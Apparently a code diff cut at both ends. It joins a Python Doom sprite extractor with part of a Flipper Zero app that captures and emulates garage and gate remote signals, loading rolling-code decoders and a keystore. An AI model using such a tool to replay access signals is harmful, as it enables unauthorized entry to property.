# ------------------------------------------------------------------ pipeline
def sprite16(wad, grays, names, valign, bias=0.0):
frames = []
for n in names:
w, h, pix = decode_picture(wad, n, grays)
g, a = fit_grid(pix, 16, valign)
g = normalize(g, a)
frames.append(to_1bit(g, a, bias))
return emit_scaled16(frames)
def first_present(wad, *names):
for n in names:
if wad.has(n):
return n
raise KeyError("none of %s in WAD" % (names,))
def build_weapon(wad, grays, target_w=46):
"""Idle shotgun + firing frame (shotgun with muzzle flash composited)."""
w, h, gun = decode_picture(wad, "SHTGA0", grays)
x0, y0, x1, y1 = bbox(gun)
gun = crop(gun, x0, y0, x1, y1)
gw, gh = x1 - x0, y1 - y0
nw = target_w
nh = max(1, round(gh * nw / gw))
g, a = box_resize(gun, nw, nh)
g = normalize(g, a)
# limit height so it doesn't cover too much of the 64px screen: keep the
# top rows (barrel); the grip sticks out of the screen bottom like in Doom
max_h = 28
if nh > max_h:
g = g[:max_h]
a = a[:max_h]
nh = max_h
idle = to_1bit(g, a)
# firing frame: muzzle flash above the barrel
fname = first_present(wad, "SHTFB0", "SHTFA0")
fw, fh, fl = decode_picture(wad, fname, grays)
fx0, fy0, fx1, fy1 = bbox(fl)
fl = crop(fl, fx0, fy0, fx1, fy1)
fsw = max(1, round((fx1 - fx0) * nw / gw))
fsh = max(1, round((fy1 - fy0) * nw / gw))
fg, fa = box_resize(fl, fsw, fsh)
fg = normalize(fg, fa)
# keep total height reasonable: crop the top of the flash if needed
max_total = 38
if nh + fsh > max_total:
cut = nh + fsh - max_total
fg = fg[cut:]
fa = fa[cut:]
fsh -= cut
# find barrel top-center of scaled gun: centroid of top opaque row
top_row = 0
for y in range(nh):
if any(a[y][x] >= 0.5 for x in range(nw)):
top_row = y
break
cols = [x for x in range(nw) if a[top_row][x] >= 0.5]
cx = sum(cols) // len(cols) if cols else nw // 2
fire_h = nh + fsh
FG = [[0.0] * nw for _ in range(fire_h)]
FA = [[0.0] * nw for _ in range(fire_h)]
for y in range(nh):
for x in range(nw):
FG[fsh + y][x] = g[y][x]
FA[fsh + y][x] = a[y][x]
ox = cx - fsw // 2
for y in range(fsh):
for x in range(fsw):
dx = ox + x
if 0 <= dx < nw and fa[y][x] >= 0.5:
FG[y][dx] = fg[y][x]
FA[y][dx] = fa[y][x]
fire = to_1bit(FG, FA, bias=40.0) # flash reads brighter
return emit_page_sprite(*idle), emit_page_sprite(*fire)
TITLE_LETTERS = {
"D": [
"######.",
"##..##.",
"##..###",
"##...##",
"##...##",
"##..###",
"##..##.",
"######.",
],
"O": [
".#####.",
"##...##",
"##...##",
"##...##",
"##...##",
"##...##",
"##...##",
".#####.",
],
"M": [
"##...##",
"###.###",
"#######",
"##.#.##",
"##...##",
"##...##",
"##...##",
"##...##",
],
}
def build_title(wad, grays):
"""Original blocky 'DOOM' pixel title with dithered gradient, 128x64."""
W, H = 128, 64
colour = [[False] * W for _ in range(H)]
scale = 4 # each letter 7x8 -> 28x32
lw, lh = 7 * scale, 8 * scale
gap = 4
total = 4 * lw + 3 * gap
x0 = (W - total) // 2
y0 = (H - lh) // 2
for i, ch in enumerate("DOOM"):
gl = TITLE_LETTERS[ch]
ox = x0 + i * (lw + gap)
for gy in range(8):
for gx in range(7):
if gl[gy][gx] != "#":
continue
for sy in range(scale):
for sx in range(scale):
x = ox + gx * scale + sx
y = y0 + gy * scale + sy
# metallic gradient: solid on top, dithered below
if y - y0 < lh * 5 // 8:
colour[y][x] = True
else:
colour[y][x] = ((x + y) & 1) == 0
return emit_solid_bitmap(colour)
def icon_from_pixmap(rows):
"""8x8 pixmap ('#'=white) -> 8 page bytes, bit0 = top row."""
out = []
for x in range(8):
b = 0
for y in range(8):
if rows[y][x] == "#":
b |= 1 << y
out.append(b)
return out
HEALTH_ICON = [
"..###...",
"..#.#...",
"###.###.",
"#.....#.",
"###.###.",
"..#.#...",
"..###...",
"........",
]
AMMO_ICON = [
".#..#...",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"###.###.",
"........",
]
def main():
wad_path = sys.argv[1] if len(sys.argv) > 1 else "../doomgeneric/Doom1.WAD"
root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
out_path = (
sys.argv[2]
if len(sys.argv) > 2
else os.path.join(root, "game", "Generated", "DoomSprites.inc.h")
)
wad = Wad(wad_path)
grays = load_palette(wad)
scaled = [] # (symbol, numFrames, words)
def add16(symbol, names, valign, bias=0.0):
scaled.append((symbol, len(names), sprite16(wad, grays, names, valign, bias)))
# enemies (2 walk frames each)
add16("skeletonSpriteData", ["SARGA1", "SARGB1"], "bottom") # pinky demon
add16("mageSpriteData", ["TROOA1", "TROOB1"], "bottom") # imp
add16("batSpriteData", ["SPOSA1", "SPOSB1"], "bottom") # shotgun sergeant
add16("spiderSpriteData", ["POSSA1", "POSSB1"], "bottom") # zombieman
# projectiles
ball = first_present(wad, "BAL1A0")
ball2 = first_present(wad, "BAL1B0", "BAL1A0")
add16("projectileSpriteData", [ball], "center", bias=60.0)
add16("enemyProjectileSpriteData", [ball2], "center", bias=60.0)
# decorations / pickups
torch1 = first_present(wad, "TREDA0", "CANDA0")
torch2 = first_present(wad, "TREDC0", "TREDB0", "CANDA0")
add16("torchSpriteData1", [torch1], "center", bias=40.0)
add16("torchSpriteData2", [torch2], "center", bias=40.0)
add16("urnSpriteData", ["BAR1A0"], "bottom") # barrel
add16("potionSpriteData", ["STIMA0"], "bottom", bias=30.0) # stimpack
add16("chestSpriteData", ["BPAKA0"], "bottom", bias=30.0) # backpack
add16("chestOpenSpriteData", ["CLIPA0"], "bottom", bias=30.0)
add16("scrollSpriteData", ["BON2A0"], "bottom", bias=30.0) # armor helmet
add16("coinsSpriteData", ["BON1A0"], "bottom", bias=30.0) # potion bottle
add16("crownSpriteData", ["ARM1A0"], "bottom", bias=30.0) # green armor
add16("signSpriteData", ["POL5A0"], "bottom", bias=20.0) # skull pile
weapon_idle, weapon_fire = build_weapon(wad, grays)
title = build_title(wad, grays)
health = icon_from_pixmap(HEALTH_ICON)
ammo = icon_from_pixmap(AMMO_ICON)
with open(out_path, "w") as f:
f.write("// Auto-generated by tools/extract_doom_assets.py\n")
f.write("// Derived at build time from the user's local Doom shareware WAD.\n")
f.write("// Do not commit WAD-derived data to public repositories.\n\n")
for symbol, nframes, words in scaled:
f.write("constexpr uint8_t %s_numFrames = %d;\n" % (symbol, nframes))
f.write("extern const uint16_t %s[] PROGMEM =\n{\n\t%s\n};\n" % (symbol, fmt_words(words)))
f.write("extern const uint8_t handSpriteData1[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(weapon_idle, 24))
f.write("extern const uint8_t handSpriteData2[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(weapon_fire, 24))
f.write("extern const uint8_t titleBitmapData[] PROGMEM =\n{\n\t%s\n};\n" % fmt_words(title, 24))
f.write("extern const uint8_t heartSpriteData[] PROGMEM =\n{\n%s\n};\n" % fmt_words(health))
f.write("extern const uint8_t manaSpriteData[] PROGMEM =\n{\n%s\n};\n" % fmt_words(ammo))
total = sum(len(w) * 2 for _, _, w in scaled) + len(weapon_idle) + len(weapon_fire) + len(title) + 16
print("Wrote %s (%d bytes of asset data)" % (out_path, total))
if __name__ == "__main__":
main()
Binary file not shown.

After

Width:  |  Height:  |  Size: 671 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1016 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 287 B

@@ -0,0 +1,104 @@
App(
appid="garage_door_remote",
name="Garage Door Remote",
apptype=FlipperAppType.EXTERNAL,
targets=["f7"],
entry_point="gdr_app",
requires=["gui"],
stack_size=8 * 1024,
fap_description="Capture and emulate garage and gate remote signals from Sub-GHz",
fap_version="2.6",
fap_icon="images/gdr_10x10.png",
fap_category="Sub-GHz",
fap_icon_assets="images",
fap_file_assets="keystore",
sources=[
"gdr_app.c",
"gdr_app_i.c",
"gdr_history.c",
"helpers/gdr_psa_bf_host.c",
"helpers/gdr_settings.c",
"helpers/gdr_storage.c",
"helpers/radio_device_loader.c",
"helpers/raw_file_reader.c",
"scenes/gdr_scene.c",
"scenes/gdr_scene_about.c",
"scenes/gdr_scene_dual_receiver.c",
"scenes/gdr_scene_dual_receiver_config.c",
"scenes/gdr_scene_emulate.c",
"scenes/gdr_scene_need_saving.c",
"scenes/gdr_scene_receiver.c",
"scenes/gdr_scene_receiver_config.c",
"scenes/gdr_scene_receiver_info.c",
"scenes/gdr_scene_saved.c",
"scenes/gdr_scene_saved_info.c",
"scenes/gdr_scene_shield_receiver.c",
"scenes/gdr_scene_shield_receiver_config.c",
"scenes/gdr_scene_start.c",
"scenes/gdr_scene_sub_decode.c",
"scenes/gdr_scene_timing_tuner.c",
"views/gdr_dual_receiver.c",
"views/gdr_receiver.c",
"protocols/protocol_items.c",
"protocols/protocols_common.c",
"protocols/keys.c",
],
)
App(
appid="gdr_am_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_am_plugin_ep",
requires=["garage_door_remote"],
sources=[
"protocols/plugins/gdr_am_plugin.c",
"protocols/protocols_common.c",
"protocols/keys.c",
"protocols/alutech_at_4n.c",
"protocols/beninca_arc.c",
"protocols/came.c",
"protocols/came_atomo.c",
"protocols/came_twee.c",
"protocols/chamberlain_code.c",
"protocols/clemsa.c",
"protocols/dooya.c",
"protocols/faac_slh.c",
"protocols/gate_tx.c",
"protocols/hormann.c",
"protocols/keeloq.c",
"protocols/linear.c",
"protocols/linear_delta3.c",
"protocols/megacode.c",
"protocols/nice_flo.c",
"protocols/nice_flor_s.c",
"protocols/princeton.c",
"protocols/somfy_keytis.c",
"protocols/somfy_telis.c",
],
fal_embedded=True,
)
App(
appid="gdr_fm_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_fm_plugin_ep",
requires=["garage_door_remote"],
sources=[
"protocols/plugins/gdr_fm_plugin.c",
"protocols/protocols_common.c",
"protocols/keys.c",
"protocols/ansonic.c",
],
fal_embedded=True,
)
App(
appid="gdr_emulate_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_emulate_plugin_ep",
requires=["garage_door_remote"],
sources=[
"scenes/plugins/gdr_emulate_plugin.c",
],
fal_embedded=True,
)
@@ -0,0 +1,26 @@
#pragma once
//#define ENABLE_TIMING_TUNER_SCENE
//#define ENABLE_SUB_DECODE_SCENE
#define ENABLE_EMULATE_FEATURE
//#define ENABLE_DUAL_RX_SCENE
//#define ENABLE_SHIELD_RX_SCENE
#define REMOVE_LOGS
#ifdef REMOVE_LOGS
// Undefine existing macros
#undef FURI_LOG_E
#undef FURI_LOG_W
#undef FURI_LOG_I
#undef FURI_LOG_D
#undef FURI_LOG_T
// Define empty macros
#define FURI_LOG_E(tag, format, ...)
#define FURI_LOG_W(tag, format, ...)
#define FURI_LOG_I(tag, format, ...)
#define FURI_LOG_D(tag, format, ...)
#define FURI_LOG_T(tag, format, ...)
#endif // REMOVE_LOGS
@@ -0,0 +1,3 @@
#pragma once
#include <lib/subghz/environment.h>
@@ -0,0 +1,879 @@
// gdr_app.c
#include "gdr_app_i.h"
#include <furi.h>
#include <furi_hal.h>
#include "protocols/protocol_items.h"
#include "protocols/protocols_common.h"
#include "helpers/gdr_settings.h"
#include "helpers/gdr_storage.h"
#include "helpers/gdr_psa_bf_host.h"
#include "protocols/keys.h"
#include <string.h>
#define TAG "GDRApp"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
static bool gdr_setting_has_frequency(SubGhzSetting* setting, uint32_t frequency) {
size_t count = subghz_setting_get_frequency_count(setting);
for(size_t i = 0; i < count; i++) {
if(subghz_setting_get_frequency(setting, i) == frequency) {
return true;
}
}
return false;
}
#endif
#ifdef ENABLE_DUAL_RX_SCENE
static GDRProtocolRegistryFilter gdr_setting_preset_filter(
SubGhzSetting* setting,
uint8_t index) {
return gdr_get_protocol_registry_filter_for_preset(
subghz_setting_get_preset_data(setting, index),
subghz_setting_get_preset_data_size(setting, index));
}
static uint8_t gdr_find_preset_by_name_or_filter(
SubGhzSetting* setting,
const char* preferred_name,
GDRProtocolRegistryFilter filter) {
size_t count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preferred_name) == 0 &&
gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
return (uint8_t)i;
}
}
for(size_t i = 0; i < count; i++) {
if(gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
return (uint8_t)i;
}
}
return UINT8_MAX;
}
static uint8_t
gdr_find_preset_by_name(SubGhzSetting* setting, const char* preset_name) {
if(!preset_name || preset_name[0] == '\0') {
return UINT8_MAX;
}
size_t count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
return (uint8_t)i;
}
}
return UINT8_MAX;
}
#endif
static bool gdr_app_custom_event_callback(void* context, uint32_t event) {
furi_check(context);
GDRApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool gdr_app_back_event_callback(void* context) {
furi_check(context);
GDRApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void gdr_app_tick_event_callback(void* context) {
furi_check(context);
GDRApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
bool gdr_ensure_variable_item_list(GDRApp* app) {
furi_check(app);
if(app->variable_item_list) {
return true;
}
app->variable_item_list = variable_item_list_alloc();
if(!app->variable_item_list) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewVariableItemList,
variable_item_list_get_view(app->variable_item_list));
return true;
}
bool gdr_ensure_widget(GDRApp* app) {
furi_check(app);
if(app->widget) {
return true;
}
app->widget = widget_alloc();
if(!app->widget) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher, GDRViewWidget, widget_get_view(app->widget));
return true;
}
bool gdr_ensure_text_input(GDRApp* app) {
furi_check(app);
if(app->text_input) {
return true;
}
app->text_input = text_input_alloc();
if(!app->text_input) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher, GDRViewTextInput, text_input_get_view(app->text_input));
return true;
}
bool gdr_ensure_view_about(GDRApp* app) {
furi_check(app);
if(app->view_about) {
return true;
}
app->view_about = view_alloc();
if(!app->view_about) {
return false;
}
view_dispatcher_add_view(app->view_dispatcher, GDRViewAbout, app->view_about);
return true;
}
bool gdr_ensure_receiver_view(GDRApp* app) {
furi_check(app);
if(app->gdr_receiver) {
return true;
}
app->gdr_receiver = gdr_view_receiver_alloc(app->auto_save);
if(!app->gdr_receiver) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewReceiver,
gdr_view_receiver_get_view(app->gdr_receiver));
return true;
}
#ifdef ENABLE_DUAL_RX_SCENE
bool gdr_ensure_dual_receiver_view(GDRApp* app) {
furi_check(app);
if(app->dual_receiver) {
return true;
}
app->dual_receiver = gdr_view_dual_receiver_alloc();
if(!app->dual_receiver) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewDualReceiver,
gdr_view_dual_receiver_get_view(app->dual_receiver));
return true;
}
#endif
static void gdr_radio_init_cleanup(GDRApp* app, bool devices_initialized) {
furi_check(app);
furi_check(app->txrx);
if(app->txrx->receiver) {
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
}
if(app->txrx->radio_device) {
if(devices_initialized) {
subghz_devices_idle(app->txrx->radio_device);
}
radio_device_loader_end(app->txrx->radio_device);
app->txrx->radio_device = NULL;
}
if(app->txrx->environment) {
subghz_environment_free(app->txrx->environment);
app->txrx->environment = NULL;
}
if(app->txrx->protocol_plugin_manager) {
plugin_manager_free(app->txrx->protocol_plugin_manager);
app->txrx->protocol_plugin_manager = NULL;
}
if(app->txrx->plugin_resolver) {
composite_api_resolver_free(app->txrx->plugin_resolver);
app->txrx->plugin_resolver = NULL;
}
if(devices_initialized) {
subghz_devices_deinit();
}
app->txrx->protocol_registry = NULL;
app->txrx->protocol_plugin = NULL;
app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->radio_initialized = false;
}
GDRApp* gdr_app_alloc() {
gdr_storage_purge_temp_history_at_startup();
GDRApp* app = malloc(sizeof(GDRApp));
if(!app) {
FURI_LOG_E(TAG, "Failed to allocate GDRApp app !");
return NULL;
}
memset(app, 0, sizeof(GDRApp));
FURI_LOG_I(TAG, "Allocating GDR Decoder App");
// GUI
app->gui = furi_record_open(RECORD_GUI);
// View Dispatcher
app->view_dispatcher = view_dispatcher_alloc();
#if defined(FW_ORIGIN_RM)
view_dispatcher_enable_queue(app->view_dispatcher);
#endif
app->scene_manager = scene_manager_alloc(&gdr_scene_handlers, app);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, gdr_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, gdr_app_back_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, gdr_app_tick_event_callback, 100);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Open Notification record
app->notifications = furi_record_open(RECORD_NOTIFICATION);
// Open Dialogs record
app->dialogs = furi_record_open(RECORD_DIALOGS);
// SubMenu
app->submenu = submenu_alloc();
view_dispatcher_add_view(
app->view_dispatcher, GDRViewSubmenu, submenu_get_view(app->submenu));
app->save_protocol = NULL;
app->save_from_saved_info = false;
app->save_history_idx = 0;
app->emulate_disabled_for_loaded = false;
memset(app->save_filename, 0, sizeof(app->save_filename));
// File Browser path
app->file_path = furi_string_alloc();
furi_string_set(app->file_path, GDR_APP_FOLDER);
// Load saved settings
GDRSettings settings;
gdr_settings_load(&settings);
// Apply auto-save setting
app->auto_save = settings.auto_save;
app->tx_power = settings.tx_power;
if(app->tx_power >= 9U) {
app->tx_power = 0;
}
app->emulate_feature_enabled = settings.emulate_feature_enabled;
// Init setting - KEEP THIS, it's small
app->setting = subghz_setting_alloc();
app->loaded_file_path = NULL;
app->start_tx_time = 0;
subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user"));
// Apply loaded frequency and preset, with validation
uint32_t frequency = settings.frequency;
uint8_t preset_index = settings.preset_index;
// Validate frequency
bool frequency_valid = false;
for(size_t i = 0; i < subghz_setting_get_frequency_count(app->setting); i++) {
if(subghz_setting_get_frequency(app->setting, i) == frequency) {
frequency_valid = true;
break;
}
}
if(!frequency_valid) {
frequency = subghz_setting_get_default_frequency(app->setting);
FURI_LOG_W(TAG, "Saved frequency invalid, using default: %lu", frequency);
}
// Validate preset index
if(preset_index >= subghz_setting_get_preset_count(app->setting)) {
preset_index = 0;
FURI_LOG_W(TAG, "Saved preset index invalid, using default");
}
// Initialize TxRx structure with minimal setup
app->lock = GDRLockOff;
app->txrx = malloc(sizeof(GDRTxRx));
furi_check(app->txrx);
memset(app->txrx, 0, sizeof(GDRTxRx));
app->txrx->preset = malloc(sizeof(SubGhzRadioPreset));
furi_check(app->txrx->preset);
app->txrx->preset->name = furi_string_alloc();
furi_check(app->txrx->preset->name);
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->txrx->rx_key_state = GDRRxKeyStateIDLE;
app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
// Get preset name and data
const char* preset_name = subghz_setting_get_preset_name(app->setting, preset_index);
uint8_t* preset_data = subghz_setting_get_preset_data(app->setting, preset_index);
size_t preset_data_size = subghz_setting_get_preset_data_size(app->setting, preset_index);
FURI_LOG_I(
TAG,
"Settings: freq=%lu, preset=%s, auto_save=%d, hopping=%d",
frequency,
preset_name,
settings.auto_save,
settings.hopping_enabled);
gdr_preset_init(app, preset_name, frequency, preset_data, preset_data_size);
#ifdef ENABLE_DUAL_RX_SCENE
uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
app->dual_freq_a = gdr_setting_has_frequency(app->setting, settings.dual_freq_a) ?
settings.dual_freq_a :
default_frequency;
app->dual_freq_b = gdr_setting_has_frequency(app->setting, settings.dual_freq_b) ?
settings.dual_freq_b :
default_frequency;
uint8_t preset_count = (uint8_t)subghz_setting_get_preset_count(app->setting);
uint8_t named_preset_a =
gdr_find_preset_by_name(app->setting, settings.dual_preset_name_a);
uint8_t named_preset_b =
gdr_find_preset_by_name(app->setting, settings.dual_preset_name_b);
app->dual_preset_a =
named_preset_a != UINT8_MAX ? named_preset_a : settings.dual_preset_a;
app->dual_preset_b =
named_preset_b != UINT8_MAX ? named_preset_b : settings.dual_preset_b;
if(preset_count == 0) {
app->dual_preset_a = UINT8_MAX;
app->dual_preset_b = UINT8_MAX;
} else if(app->dual_preset_a >= preset_count) {
app->dual_preset_a = gdr_find_preset_by_name_or_filter(
app->setting, "AM650", GDRProtocolRegistryFilterAM);
if(app->dual_preset_a == UINT8_MAX) {
app->dual_preset_a = 0;
}
}
if(app->dual_preset_b >= preset_count) {
app->dual_preset_b = gdr_find_preset_by_name_or_filter(
app->setting, "FM476", GDRProtocolRegistryFilterFM);
if(app->dual_preset_b == UINT8_MAX) {
app->dual_preset_b = 0;
}
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
{
uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
app->shield_freq = gdr_setting_has_frequency(app->setting, settings.shield_freq) ?
settings.shield_freq :
default_frequency;
app->shield_preset_index = settings.shield_preset_index;
if(app->shield_preset_index >= subghz_setting_get_preset_count(app->setting)) {
app->shield_preset_index = preset_index;
}
app->shield_tx_offset_index = settings.shield_tx_offset_index;
if(app->shield_tx_offset_index >= 12U) {
app->shield_tx_offset_index = 3U;
}
app->shield_tx_power = settings.shield_tx_power;
if(app->shield_tx_power >= 9U) {
app->shield_tx_power = 0U;
}
}
#endif
// Apply hopping state from settings
app->txrx->hopper_state = settings.hopping_enabled ? GDRHopperStateRunning :
GDRHopperStateOFF;
app->txrx->hopper_idx_frequency = 0;
app->txrx->hopper_timeout = 0;
app->txrx->idx_menu_chosen = 0;
app->radio_initialized = false;
return app;
}
bool gdr_radio_init(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
FURI_LOG_I(TAG, "=== gdr_radio_init called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
if(app->radio_initialized) {
const bool radio_ready = (app->txrx->environment != NULL) &&
(app->txrx->radio_device != NULL);
if(radio_ready) {
FURI_LOG_D(TAG, "Radio already initialized, returning true");
return true;
}
FURI_LOG_W(
TAG,
"Radio marked initialized but resources missing (env=%p device=%p), repairing",
app->txrx->environment,
app->txrx->radio_device);
gdr_radio_deinit(app);
}
// Fresh radio init - nothing was initialized before
FURI_LOG_I(TAG, "Fresh radio init - allocating all components");
// Create environment with our custom protocols
app->txrx->environment = subghz_environment_alloc();
if(!app->txrx->environment) {
FURI_LOG_E(TAG, "Failed to allocate environment!");
gdr_radio_init_cleanup(app, false);
return false;
}
app->txrx->protocol_registry = NULL;
if(!gdr_refresh_protocol_registry(app, false)) {
FURI_LOG_E(TAG, "Failed to configure protocol registry");
gdr_radio_init_cleanup(app, false);
return false;
}
// Load keystores
subghz_environment_load_keystore(app->txrx->environment, GDR_KEYSTORE_DIR_NAME);
// Load GDR specific keys
gdr_keys_load(app->txrx->environment);
FURI_LOG_I(TAG, "Loaded GDR secure keys");
// Initialize SubGhz devices
subghz_devices_init();
FURI_LOG_D(TAG, "SubGhz devices initialized");
// Try external CC1101 first
app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeExternalCC1101);
// if not loading, fallback to internal
if(!app->txrx->radio_device) {
FURI_LOG_W(TAG, "External CC1101 not found, trying internal radio");
app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
}
if(!app->txrx->radio_device) {
FURI_LOG_E(TAG, "Failed to initialize any radio device!");
gdr_radio_init_cleanup(app, true);
return false;
}
#ifndef REMOVE_LOGS
const char* device_name = subghz_devices_get_name(app->txrx->radio_device);
bool is_external = device_name && strstr(device_name, "ext");
FURI_LOG_I(
TAG,
"Radio device initialized: %s (%s)",
device_name ? device_name : "unknown",
is_external ? "external" : "internal");
#endif
subghz_devices_reset(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
app->radio_initialized = true;
FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
return true;
}
// Deinitialize radio subsystem
void gdr_radio_deinit(GDRApp* app) {
FURI_LOG_I(TAG, "=== gdr_radio_deinit called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
FURI_LOG_D(
TAG,
"Pointers: worker=%p, environment=%p, receiver=%p, history=%p, radio_device=%p",
app->txrx->worker,
app->txrx->environment,
app->txrx->receiver,
app->txrx->history,
app->txrx->radio_device);
bool has_radio_resources = app->radio_initialized || app->txrx->worker ||
app->txrx->environment || app->txrx->receiver ||
app->txrx->history || app->txrx->radio_device;
if(!has_radio_resources) {
FURI_LOG_D(TAG, "Radio resources were not initialized, returning");
return;
}
bool devices_initialized = app->radio_initialized || (app->txrx->radio_device != NULL);
// Make sure we're not receiving
if(app->txrx->worker && app->txrx->txrx_state == GDRTxRxStateRx) {
FURI_LOG_D(TAG, "Stopping active RX, state=%d", app->txrx->txrx_state);
subghz_worker_stop(app->txrx->worker);
if(app->txrx->radio_device) {
subghz_devices_stop_async_rx(app->txrx->radio_device);
}
}
if(app->txrx->radio_device) {
FURI_LOG_D(TAG, "Putting radio device to sleep and ending: %p", app->txrx->radio_device);
subghz_devices_sleep(app->txrx->radio_device);
radio_device_loader_end(app->txrx->radio_device);
app->txrx->radio_device = NULL;
} else {
FURI_LOG_D(TAG, "Radio device was NULL, skipping sleep/end");
}
if(devices_initialized) {
FURI_LOG_D(TAG, "Calling subghz_devices_deinit");
subghz_devices_deinit();
}
if(app->txrx->receiver) {
FURI_LOG_D(TAG, "Freeing receiver %p", app->txrx->receiver);
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
} else {
FURI_LOG_D(TAG, "Receiver was NULL, skipping free");
}
if(app->txrx->environment) {
FURI_LOG_D(TAG, "Freeing environment %p", app->txrx->environment);
subghz_environment_free(app->txrx->environment);
app->txrx->environment = NULL;
app->txrx->protocol_registry = NULL;
} else {
FURI_LOG_D(TAG, "Environment was NULL, skipping free");
}
if(app->txrx->protocol_plugin_manager) {
FURI_LOG_D(TAG, "Freeing protocol plugin manager %p", app->txrx->protocol_plugin_manager);
plugin_manager_free(app->txrx->protocol_plugin_manager);
app->txrx->protocol_plugin_manager = NULL;
}
if(app->txrx->plugin_resolver) {
FURI_LOG_D(TAG, "Freeing plugin resolver %p", app->txrx->plugin_resolver);
composite_api_resolver_free(app->txrx->plugin_resolver);
app->txrx->plugin_resolver = NULL;
}
app->txrx->protocol_plugin = NULL;
if(app->txrx->history) {
FURI_LOG_D(TAG, "Freeing history %p", app->txrx->history);
if(app->selected_capture.history == app->txrx->history) {
gdr_selected_capture_clear(app);
}
gdr_history_free(app->txrx->history);
app->txrx->history = NULL;
} else {
FURI_LOG_D(TAG, "History was NULL, skipping free");
}
if(app->txrx->worker) {
FURI_LOG_D(TAG, "Freeing worker %p", app->txrx->worker);
subghz_worker_free(app->txrx->worker);
app->txrx->worker = NULL;
} else {
FURI_LOG_D(TAG, "Worker was NULL, skipping free");
}
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->radio_initialized = false;
FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
}
void gdr_app_free(GDRApp* app) {
furi_check(app);
FURI_LOG_I(TAG, "=== gdr_app_free called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
// Save settings before exiting
GDRSettings settings;
gdr_settings_load(&settings);
settings.frequency = app->txrx->preset->frequency;
settings.auto_save = app->auto_save;
settings.tx_power = app->tx_power;
settings.hopping_enabled = (app->txrx->hopper_state != GDRHopperStateOFF);
settings.emulate_feature_enabled = app->emulate_feature_enabled;
#ifdef ENABLE_DUAL_RX_SCENE
settings.dual_freq_a = app->dual_freq_a;
settings.dual_freq_b = app->dual_freq_b;
settings.dual_preset_a = app->dual_preset_a;
settings.dual_preset_b = app->dual_preset_b;
settings.dual_preset_name_a[0] = '\0';
settings.dual_preset_name_b[0] = '\0';
size_t dual_preset_count = subghz_setting_get_preset_count(app->setting);
if(app->dual_preset_a < dual_preset_count) {
snprintf(
settings.dual_preset_name_a,
sizeof(settings.dual_preset_name_a),
"%s",
subghz_setting_get_preset_name(app->setting, app->dual_preset_a));
}
if(app->dual_preset_b < dual_preset_count) {
snprintf(
settings.dual_preset_name_b,
sizeof(settings.dual_preset_name_b),
"%s",
subghz_setting_get_preset_name(app->setting, app->dual_preset_b));
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
settings.shield_freq = app->shield_freq;
settings.shield_preset_index = app->shield_preset_index;
settings.shield_tx_offset_index = app->shield_tx_offset_index;
settings.shield_tx_power = app->shield_tx_power;
#endif
// Find current preset index
settings.preset_index = 0;
const char* current_preset = furi_string_get_cstr(app->txrx->preset->name);
for(uint8_t i = 0; i < subghz_setting_get_preset_count(app->setting); i++) {
if(strcmp(subghz_setting_get_preset_name(app->setting, i), current_preset) == 0) {
settings.preset_index = i;
break;
}
}
FURI_LOG_I(
TAG,
"Saving settings: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
settings.frequency,
settings.preset_index,
settings.auto_save,
settings.hopping_enabled,
settings.emulate_feature_enabled);
gdr_settings_save(&settings);
// Deinitialize whichever is active - NULL checks inside handle all cases
FURI_LOG_D(TAG, "Calling radio_deinit");
